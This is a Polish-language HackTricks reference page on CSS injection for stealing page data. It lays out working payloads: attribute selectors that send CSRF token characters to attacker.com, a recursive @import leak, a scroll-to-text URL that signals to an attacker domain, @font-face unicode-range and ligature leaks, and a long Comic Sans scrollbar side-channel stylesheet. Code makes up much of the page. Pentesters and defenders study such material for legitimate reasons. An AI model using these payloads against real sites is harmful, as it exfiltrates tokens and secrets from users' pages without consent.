CSS Injection

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Try Hard Security Group


Wstrzykiwanie CSS

Selektor atrybutów

Selektory CSS są opracowane w celu dopasowania wartości atrybutów name i value elementu input. Jeśli wartość atrybutu value elementu input zaczyna się od określonego znaku, zostanie załadowany predefiniowany zewnętrzny zasób:

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

Jednakże, podejście to napotyka ograniczenie podczas pracy z ukrytymi elementami wejściowymi (type="hidden") ponieważ ukryte elementy nie ładują tła.

Ominięcie dla Elementów Ukrytych

Aby ominąć to ograniczenie, można targetować następny element rodzeństwa używając ogólnego kombinatora rodzeństwa ~. Reguła CSS wtedy stosuje się do wszystkich rodzeństwa następujących po ukrytym elemencie wejściowym, powodując załadowanie obrazu tła:

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Wymagania wstępne dla Wstrzykiwania CSS

Aby technika Wstrzykiwania CSS była skuteczna, muszą zostać spełnione pewne warunki:

  1. Długość Payloadu: Wektor wstrzykiwania CSS musi obsługiwać wystarczająco długie ładunki, aby pomieścić opracowane selektory.

  2. Ponowna ocena CSS: Powinieneś mieć możliwość opracowania strony, co jest konieczne do wywołania ponownej oceny CSS z nowo wygenerowanymi ładunkami.

  3. Zewnętrzne zasoby: Technika zakłada możliwość korzystania z obrazów hostowanych zewnętrznie. Może to być ograniczone przez zasadę bezpieczeństwa zawartości (CSP) witryny.

Ślepy selektor atrybutu

Jak wyjaśniono w tym poście, możliwe jest połączenie selektorów :has i :not w celu zidentyfikowania zawartości nawet z elementów ślepych. Jest to bardzo przydatne, gdy nie masz pojęcia, co znajduje się w ładowanej stronie internetowej wstrzyknięcia CSS. Możliwe jest również wykorzystanie tych selektorów do wyodrębniania informacji z kilku bloków tego samego typu, jak na przykład:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

Kombinując to z następującą techniką @import, jest możliwe wyciekanie wielu informacji za pomocą wstrzykiwania CSS z blind-css-exfiltration.

@import

Poprzednia technika ma pewne wady, sprawdź wymagania wstępne. Musisz albo wysłać ofierze wiele linków, albo musisz osadzić stronę podatną na wstrzykiwanie CSS w iframe.

Jednak istnieje inna sprytna technika, która wykorzystuje CSS @import do poprawy jakości techniki.

Pierwszy raz zostało to pokazane przez Pepe Vilę i działa to w ten sposób:

Zamiast ładować tę samą stronę wielokrotnie z dziesiątkami różnych ładunków za każdym razem (jak w poprzedniej technice), załadujemy stronę tylko raz i tylko z importem do serwera atakującego (to jest ładunek do wysłania ofierze):

@import url('//attacker.com:5001/start?');
  1. Import otrzyma pewien skrypt CSS od atakujących, a przeglądarka go załaduje.

  2. Pierwszą częścią skryptu CSS, który atakujący wyśle, będzie kolejne @import do serwera atakującego.

  3. Serwer atakującego jeszcze nie odpowie na to żądanie, ponieważ chcemy ujawnić kilka znaków, a następnie odpowiedzieć na to importowanie ładunkiem, aby ujawnić kolejne.

  4. Drugą i większą częścią ładunku będzie ujawnienie selektora atrybutu.

  5. To spowoduje wysłanie do serwera atakującego pierwszego i ostatniego znaku tajnego.

  6. Gdy serwer atakującego otrzyma pierwszy i ostatni znak tajnego, odpowie na żądanie importu z kroku 2.

  7. Odpowiedź będzie dokładnie taka sama jak kroki 2, 3 i 4, ale tym razem spróbuje znaleźć drugi znak tajnego i przedostatni.

Atakujący będzie kontynuować tę pętlę, aż uda mu się całkowicie ujawnić sekret.

Oryginalny kod Pepe Vila do wykorzystania tego znajdziesz tutaj lub prawie ten samo kod, ale skomentowany tutaj.

Skrypt będzie próbował odkryć 2 znaki za każdym razem (od początku i od końca), ponieważ selektor atrybutu pozwala na takie działania:

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

To pozwala skryptowi szybciej ujawnić tajemnicę.

Czasami skrypt nie wykrywa poprawnie, że odkryty prefiks + sufiks jest już kompletną flagą i będzie kontynuować w przód (w prefiksie) i w tył (w sufiksie), a w pewnym momencie się zawiesi. Nie martw się, po prostu sprawdź wyjście, ponieważ możesz zobaczyć tam flagę.

Inne selektory

Inne sposoby dostępu do części DOM za pomocą selektorów CSS:

  • .class-to-search:nth-child(2): To wyszuka drugi element z klasą "class-to-search" w DOM.

  • Selektor :empty: Używany na przykład w tym rozwiązaniu:

[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }

XS-Search oparty na błędach

Referencje: Atak oparty na CSS: Nadużycie unicode-range @font-face , XS-Search PoC oparty na błędach autorstwa @terjanq

Ogólnym zamiarem jest użycie niestandardowego fontu z kontrolowanego punktu końcowego i upewnienie się, że tekst (w tym przypadku 'A') jest wyświetlany tylko tym fontem, jeśli określony zasób (favicon.ico) nie może być załadowany.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Użycie niestandardowej czcionki:

  • Niestandardowa czcionka jest definiowana za pomocą reguły @font-face wewnątrz tagu <style> w sekcji <head>.

  • Czcionka nosi nazwę poc i jest pobierana z zewnętrznego punktu końcowego (http://attacker.com/?leak).

  • Właściwość unicode-range jest ustawiona na U+0041, celując w konkretny znak Unicode 'A'.

  1. Element obiektu z tekstem zapasowym:

  • Element <object> o id="poc0" jest tworzony w sekcji <body>. Ten element próbuje załadować zasób z http://192.168.0.1/favicon.ico.

  • Dla tego elementu font-family jest ustawione na 'poc', zdefiniowane w sekcji <style>.

  • Jeśli zasób (favicon.ico) nie może zostać załadowany, wyświetlana jest treść zapasowa (litera 'A') wewnątrz tagu <object>.

  • Treść zapasowa ('A') zostanie wyrenderowana przy użyciu niestandardowej czcionki poc, jeśli zewnętrzny zasób nie może zostać załadowany.

Stylizacja fragmentu przewijania do tekstu

Pseudo-klasa :target jest wykorzystywana do wybrania elementu docelowego przez fragment URL, zgodnie z specyfikacją CSS Selectors Level 4. Istotne jest zrozumienie, że ::target-text nie dopasowuje żadnych elementów, chyba że tekst jest wyraźnie docelowy przez fragment.

Pojawia się problem bezpieczeństwa, gdy atakujący wykorzystują funkcję fragmentu przewijania do tekstu, pozwalając im potwierdzić obecność określonego tekstu na stronie internetowej poprzez ładowanie zasobu z ich serwera za pomocą wstrzyknięcia HTML. Metoda ta polega na wstrzyknięciu reguły CSS takiej jak:

:target::before { content : url(target.png) }

W takich scenariuszach, jeśli na stronie znajduje się tekst "Administrator", serwer wysyła żądanie zasobu target.png, co wskazuje na obecność tekstu. Przykład tego ataku można przeprowadzić za pomocą specjalnie spreparowanego adresu URL, który osadza wstrzyknięty CSS obok fragmentu Scroll-to-text:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Atak manipuluje wstrzykiwaniem HTML, aby przesłać kod CSS, mając na celu określony tekst "Administrator" za pomocą fragmentu Scroll-to-text (#:~:text=Administrator). Jeśli tekst zostanie znaleziony, wskazany zasób zostanie załadowany, niechcący sygnalizując swoją obecność atakującemu.

Dla złagodzenia zagrożenia należy zauważyć następujące kwestie:

  1. Ograniczone dopasowanie STTF: Fragment Scroll-to-text (STTF) został zaprojektowany tak, aby dopasowywać tylko słowa lub zdania, ograniczając tym samym zdolność do ujawniania dowolnych tajemnic lub tokenów.

  2. Ograniczenie do kontekstów przeglądania najwyższego poziomu: STTF działa wyłącznie w kontekstach przeglądania najwyższego poziomu i nie działa w ramkach (iframes), co sprawia, że próba wykorzystania jest bardziej zauważalna dla użytkownika.

  3. Konieczność aktywacji przez użytkownika: STTF wymaga gestu aktywacji przez użytkownika, co oznacza, że wykorzystania są możliwe tylko poprzez nawigacje inicjowane przez użytkownika. Wymaganie to znacząco zmniejsza ryzyko automatyzacji ataków bez interakcji użytkownika. Niemniej jednak autor posta na blogu wskazuje na konkretne warunki i sposoby obejścia (np. inżynierię społeczną, interakcję z powszechnymi rozszerzeniami przeglądarek), które mogą ułatwić automatyzację ataku.

Świadomość tych mechanizmów i potencjalnych podatności jest kluczowa dla utrzymania bezpieczeństwa sieciowego i ochrony przed taktykami wykorzystującymi te zagrożenia.

Aby uzyskać więcej informacji, sprawdź oryginalny raport: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Możesz sprawdzić wykorzystanie tej techniki w CTF tutaj.

@font-face / unicode-range

Możesz określić zewnętrzne czcionki dla określonych wartości unicode, które zostaną pobrane tylko wtedy, gdy te wartości unicode znajdują się na stronie. Na przykład:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

Kiedy dostęp do tej strony, Chrome i Firefox pobierają "?A" i "?B", ponieważ węzeł tekstowy sensitive-information zawiera znaki "A" i "B". Ale Chrome i Firefox nie pobierają "?C", ponieważ nie zawiera "C". Oznacza to, że udało nam się odczytać "A" i "B".

Wykradanie węzła tekstowego (I): ligatury

Referencja: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

Technika opisana polega na wydobywaniu tekstu z węzła poprzez wykorzystanie ligatur czcionek i monitorowanie zmian szerokości. Proces obejmuje kilka kroków:

  1. Tworzenie niestandardowych czcionek:

  • Czcionki SVG są tworzone z glifami posiadającymi atrybut horiz-adv-x, który ustawia dużą szerokość dla glifu reprezentującego sekwencję dwuznakową.

  • Przykładowy glif SVG: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, gdzie "XY" oznacza sekwencję dwuznakową.

  • Następnie te czcionki są konwertowane do formatu woff za pomocą fontforge.

  1. Wykrywanie zmian szerokości:

  • CSS jest używany do zapewnienia, że tekst nie zawija się (white-space: nowrap) i dostosowania stylu paska przewijania.

  • Pojawienie się poziomego paska przewijania, stylizowanego w sposób charakterystyczny, działa jako wskaźnik (orakulum), że określona ligatura, a tym samym określona sekwencja znaków, jest obecna w tekście.

  • Zaangażowany CSS:

body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. Proces eksploatacji:

  • Krok 1: Tworzone są czcionki dla par znaków o znacznej szerokości.

  • Krok 2: Wykorzystywany jest sztuczka oparta na pasku przewijania do wykrywania renderowania glifu o dużej szerokości (ligatura dla pary znaków), wskazując obecność sekwencji znaków.

  • Krok 3: Po wykryciu ligatury generowane są nowe glify reprezentujące trzyznakowe sekwencje, łącząc wykrytą parę i dodając poprzedzający lub następujący znak.

  • Krok 4: Wykonywane jest wykrywanie trzyznakowej ligatury.

  • Krok 5: Proces powtarza się, stopniowo ujawniając cały tekst.

  1. Optymalizacja:

  • Obecna metoda inicjalizacji za pomocą <meta refresh=... nie jest optymalna.

  • Bardziej wydajne podejście mogłoby obejmować sztuczkę z użyciem @import w CSS, poprawiając wydajność eksploatacji.

Wykradanie węzła tekstowego (II): wyciek zestawu znaków za pomocą domyślnej czcionki (nie wymagane zewnętrzne zasoby)

Referencja: PoC using Comic Sans by @Cgvwzq & @Terjanq

Ta sztuczka została opublikowana w tym wątku Slackers. Zestaw znaków używany w węźle tekstowym może być ujawniony za pomocą domyślnych czcionek zainstalowanych w przeglądarce: nie są potrzebne zewnętrzne -ani niestandardowe- czcionki.

Koncepcja polega na wykorzystaniu animacji do stopniowego zwiększania szerokości div, pozwalając na przejście jednego znaku na raz z części 'sufiksowej' tekstu do części 'prefiksowej'. Ten proces efektywnie dzieli tekst na dwie sekcje:

  1. Prefiks: Początkowa linia.

  2. Sufiks: Następne linie.

Etap przejścia znaków wyglądałby następująco:

C ADB

CA DB

CAD B

CADB

Podczas tego przejścia wykorzystywany jest szczegółowy trik unicode-range do identyfikowania każdego nowego znaku, gdy dołącza do prefiksu. Osiąga się to poprzez zmianę czcionki na Comic Sans, która jest zauważalnie wyższa od domyślnej czcionki, co skutkuje wywołaniem pionowego paska przewijania. Pojawienie się tego paska przewijania pośrednio ujawnia obecność nowego znaku w prefiksie.

Chociaż ta metoda pozwala na wykrywanie unikalnych znaków w miarę ich pojawiania się, nie określa, który znak jest powtarzany, tylko że powtórzenie nastąpiło.

W zasadzie unicode-range jest używany do wykrywania znaku, ale ponieważ nie chcemy ładować zewnętrznej czcionki, musimy znaleźć inny sposób. Gdy znak zostanie znaleziony, jest przypisywany do preinstalowanej czcionki Comic Sans, co sprawia, że znak jest większy i wywołuje pasek przewijania, który ujawni znaleziony znak.

Sprawdź kod wyodrębniony z PoC:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
```css
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Wyciek treści węzła tekstowego (III): wyciekanie zestawu znaków za pomocą domyślnej czcionki poprzez ukrywanie elementów (nie wymaga zewnętrznych zasobów)

Odniesienie: Jest to wspomniane jako nieudane rozwiązanie w tym opracowaniu

Ten przypadek jest bardzo podobny do poprzedniego, jednak w tym przypadku celem zrobienia konkretnych znaków większymi niż inne jest ukrycie czegoś, takiego jak przycisk, który nie może zostać naciśnięty przez bota, lub obraz, który nie zostanie załadowany. Dlatego możemy mierzyć działanie (lub brak działania) i dowiedzieć się, czy określony znak jest obecny w tekście.

Wyciek treści węzła tekstowego (III): wyciekanie zestawu znaków za pomocą czasu pamięci podręcznej (nie wymaga zewnętrznych zasobów)

Odniesienie: Jest to wspomniane jako nieudane rozwiązanie w tym opracowaniu

W tym przypadku możemy spróbować wyciec, czy dany znak znajduje się w tekście, ładując fałszywą czcionkę z tego samego źródła:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

Jeśli wystąpi dopasowanie, czcionka zostanie załadowana z /static/bootstrap.min.css?q=1. Chociaż nie załaduje się poprawnie, przeglądarka powinna ją zapamiętać, a nawet jeśli nie ma pamięci podręcznej, istnieje mechanizm 304 not modified, dzięki czemu odpowiedź powinna być szybsza niż inne rzeczy.

Jednak jeśli różnica czasu między odpowiedzią z pamięci podręcznej a tą bez pamięci podręcznej nie jest wystarczająco duża, to nie będzie to przydatne. Na przykład autor wspomniał: Jednak po przetestowaniu stwierdziłem, że pierwszym problemem jest to, że prędkość nie jest znacząco różna, a drugim problemem jest to, że bot używa flagi disk-cache-size=1, co jest naprawdę przemyślane.

Wyciek treści tekstowej (III): wyciek kodowania znaków poprzez pomiar czasu ładowania setek lokalnych "czcionek" (nie wymagających zewnętrznych zasobów)

Odniesienie: Jest to wspomniane jako nieudane rozwiązanie w tym opracowaniu

W tym przypadku można wskazać CSS do ładowania setek fałszywych czcionek z tego samego źródła, gdy wystąpi dopasowanie. W ten sposób można zmierzyć czas i dowiedzieć się, czy znak się pojawia, czy nie, używając na przykład:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

A kod bota wygląda następująco:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Więc jeśli czcionka nie pasuje, czas odpowiedzi podczas odwiedzania bota wynosi około 30 sekund. Jednakże, jeśli istnieje dopasowanie czcionki, wysyłane będą wielokrotne żądania w celu pobrania czcionki, powodując ciągłą aktywność sieci. W rezultacie będzie trwało dłużej zaspokojenie warunku zatrzymania i otrzymanie odpowiedzi. Dlatego czas odpowiedzi może być użyty jako wskaźnik do określenia, czy istnieje dopasowanie czcionki.

Referencje

Try Hard Security Group

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated